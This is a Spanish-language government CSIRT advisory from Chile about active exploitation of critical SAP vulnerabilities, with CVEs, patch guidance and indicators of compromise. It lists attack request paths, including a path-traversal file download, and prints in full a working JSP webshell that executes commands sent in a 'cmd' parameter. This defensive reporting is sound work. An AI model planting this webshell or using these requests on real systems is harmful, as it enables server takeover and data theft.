CSIRT

Equipo de Respuesta ante Incidentes de Seguridad Informática

Alerta ante explotación de vulnerabilidades críticas en SAP

Santiago, 6 de abril de 2021

TLP: BLANCO

Ministerio del Interior y Seguridad Pública

Gobierno de Chile

Detalles de la alerta

Este resumen de ciberataques, vulnerabilidades e incidentes de seguridad cibernética tiene como propósito destacar algunos eventos de días pasados para que puedan ser interpretados y discutidos por las diferentes entidades que tengan acceso a su lectura.

Este informe reúne los antecedentes conocidos hasta el día de su publicación. La información consignada en el presente documento es catalogada como TLP BLANCO.

El martes 6 de abril de 2021, la Agencia de Ciberseguridad y Seguridad de la Infraestructura (CISA) del Departamento de Seguridad Nacional (DHS) de Estados Unidos compartió[1] una recomendación a los operadores de sistemas SAP, aconsejándoles que revisen una alerta entregada por la firma de seguridad digital Onapsis en conjunto con SAP[2].

Dicha alerta detalla las técnicas con que agentes maliciosos pueden ganar el control total de aplicaciones SAP que no cuentan con las adecuadas medidas de seguridad, y sufrir robo de datos sensibles, la alteración de procesos de negocio críticos, ransomware y una paralización total de sus operaciones.

La recomendación principal es parchar y mantener actualizados todos los sistemas de la organización, en este caso, según los parches entregados por SAP a sus clientes[3].

Según ambas firmas, estas técnicas están actualmente siendo usadas por atacantes para vulnerar los sistemas SAP, usados por un 92% de las empresas más grandes del mundo, según el proveedor. Más aún, los investigadores señalan que muchas de las vulnerabilidades analizadas fueron aprovechadas en menos de 72 horas de ser lanzado un parche para mitigarlas, habiendo ya exploits públicos tras ese plazo.

A continuación, presentamos un resumen de algunas de las conclusiones de dicho material.

[1] Malicious Cyber Activity Targeting Critical SAP Applications: https://us-cert.cisa.gov/ncas/current-activity/2021/04/06/malicious-cyber-activity-targeting-critical-sap-applications
[2] El documento puede ser descargado en https://onapsis.com/active-cyberattacks-mission-critical-sap-applications
[3] https://support.sap.com/en/my-support/knowledge-base/security-notes-news.html

Principales vulnerabilidades aprovechadas

Las principales vulnerabilidades aprovechadas por ciberdelincuentes, según pudo observar el estudio de Opapsis y SAP, fueron las siguientes.

- CVE-2020-6287[4]
  - Su parche fue lanzado por SAP el 14 de julio de 2020.
  - La vulnerabilidad es conocida también como RECON.
  - La vulnerabilidad es muy crítica, puede ser explotada de forma remota y no se requieren privilegios para hacerlo, permitiéndo al atacante crear usuarios SAP de altos privilegios a nivel de aplicaciones.

- CVE-2020-6207[5]
  - Su parche fue lanzado por SAP el 10 de marzo de 2020.
  - Afecta al SAP Solution Manager (SolMan). Si el SolMan es comprometido, el atacante puede ganar completo control administrativo sobre las aplicaciones SAP interconectadas en el ambiente.

- CVE-2018-2380[6]
  - Su parche fue lanzado por SAP el 1 de marzo de 2018.
  - Afecta la solución CRM basada en SAP Net Weaver.
  - La vulnerabilidad puede ser usada para escalar privilegios y ejecutar comandos OS, eventualmente accediendo a la base de datos subyacente y pudiendo moverse lateralmente a través de distintos servidores.

- CVE-2016-9563[7]
  - Su parche fue lanzado por SAP en agosto de 2016.
  - Afecta el componente BC-BMT-BPM-DSK de SAP NetWeaver AS JAVA 7.5 y es explotable por atacantes remotos autenticados aunque tengan bajos privilegios. Su explotación exitosa podría resultar en ataques de denegación de servicio (DoS) y en acceso no autorizado a información confidencial.

- CVE-2016-3976[8]
  - Su parche fue lanzado por SAP el 8 de marzo de 2016.
  - Permite a atacantes remotos leer archivos arbitrarios a través de secuencias de directorio transversales, resultando en una liberación no autorizada de información y también pudiendo permitir acceso arbitrario a recursos OS, lo que podría derivar en un escalamiento de privilegios.

[4] https://launchpad.support.sap.com/#/notes/2934135
[5] https://launchpad.support.sap.com/#/notes/2890213
[6] https://launchpad.support.sap.com/#/notes/2547431
[7] https://launchpad.support.sap.com/#/notes/2296909
[8] https://launchpad.support.sap.com/#/notes/2234971

- CVE-2010-5326[9]
    - Una alerta sobre esta vulnerabilidad fue emitida por el DHS el 11 de mayo de 2016.
    - Es una vulnerabilidad crítica que permite a atacantes ejecutar comandos OS sin autenticación y acceder a la aplicación a la vez que también a su base de datos, ganando control completo de la información de negocios y procedimientos incluidos en SAP.

[9] http://service.sap.com/sap/support/notes/1445998

Mitigación e indicadores de compromiso

Como mitigación, lo primordial es verificar que se han instalado los parches provistos por SAP a las vulnerabilidades que afectan a sus sistemas, comenzando por aquellas listadas en el punto anterior.

Además, Onapsis llama a los administradores a buscar entre los logs de los servidores de aplicaciones SAP evidencia de la ejecución de las siguientes solicitudes HTTP, usadas para comprometer o expandir el compromiso dentro de aplicaciones SAP.

- [POST] /CTCWebService/CTCWebServiceBean
- [POST] /EemAdminService/EemAdmin
- [GET] /ctc/servlet/com.sap.ctc.util.ConfigServlet
- [GET] /sap/admin/public
- [GET] /sap/admin/publicicp
- [POST] /b2b/admin/logging.jsp
- [GET] /b2b/init.do?\%22][MALICIOUS_INPUT][%22\
- [POST] /b2b/admin/logging.jsp
- [POST] /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn
- [GET] /CrashFileDownloadServlet?fileName=<PATH_TO_FILE>

Para dicha búsqueda, los administradores pueden encontrar los logs a través de las siguientes rutas:

Unix/Linux) /usr/sap/<SID>/J<INSTANCE>/j2ee/cluster/server<NODE>/log

(Windows) DRIVE:\usr\sap\<SID>\J<INSTANCE>\j2ee\cluster\server<NODE>\log

Asimismo, Onapsis detalla que los siguientes agentes de usuario no-estándar han sido observados en conexión con la explotación.

- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6286 PoC
- Nuclei - Open-source project (github.com/projectdiscovery/nuclei)
- python-requests/2.25.0
- python-requests/2.24.0
- python-requests/2.23.0

La firma de investigación ha identificado las siguientes IP como origen de muchos de los ataques.

103.219.193[.]177
103.219.193[.]212
108.160.136[.]124
123.16.77[.]127

124.248.219[.]232
128.199.69[.]229
134.35.60[.]210
139.162.12[.]191
139.162.48[.]186
153.122.160[.]135
156.146.43[.]201
157.7.132[.]28
158.247.199[.]115
167.172.200[.]181
172.104.121[.]252
181.143.12[.]194
185.120.124[.]27
190.2.131[.]159
199.195.251[.]198
210.121.187[.]8
213.232.87[.]201
218.187.66[.]134
69.4.234.[.]30
86.106.103[.]116
95.30.32[.]65

Onapsis observó la siguiente webshell en la explotación de CVE-2018-2380.

SHA256: c14553d17ce7efce925fdb8c039104ecf1c7947279ae8d527507ab4f6ef62dd6

```
<%@ page import=”java.util.*,java.io.*”%>
 <%
 if (request.getParameter(“cmd”) != null) {
 out.println(“Command: “ + request.getParameter(“cmd”) + “<BR>”);
 Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
 OutputStream os = p.getOutputStream();
 InputStream in = p.getInputStream();
 DataInputStream dis = new DataInputStream(in);
 String disr = dis.readLine();
 while ( disr != null ) {
 out.println(disr);
 disr = dis.readLine();
 }
 }
 %>
```

Onapsis comparte finalmente herramientas para facilitar el monitoreo de las vulnerabilidades que afectan a SAP, a través de su portal en GitHub[10].

[10] https://github.com/Onapsis

Enlaces

Se adjuntan enlaces adicionales a los descritos anteriormente en los pies de página.

Comunicado de CISA: https://us-cert.cisa.gov/ncas/current-activity/2021/04/06/malicious-cyber-activity-targeting-critical-sap-applications

Investigación de Onapsis: https://onapsis.com/active-cyberattacks-mission-critical-sap-applications

Soporte de SAP: https://support.sap.com/en/my-support/knowledge-base/security-notes-news.html

Onapsis en GitHub: https://github.com/Onapsis

CSIRT Gobierno de Chile

Firmado digitalmente por CSIRT Gobierno de Chile
Fecha: 2021.04.06 15:22:16 -04'00'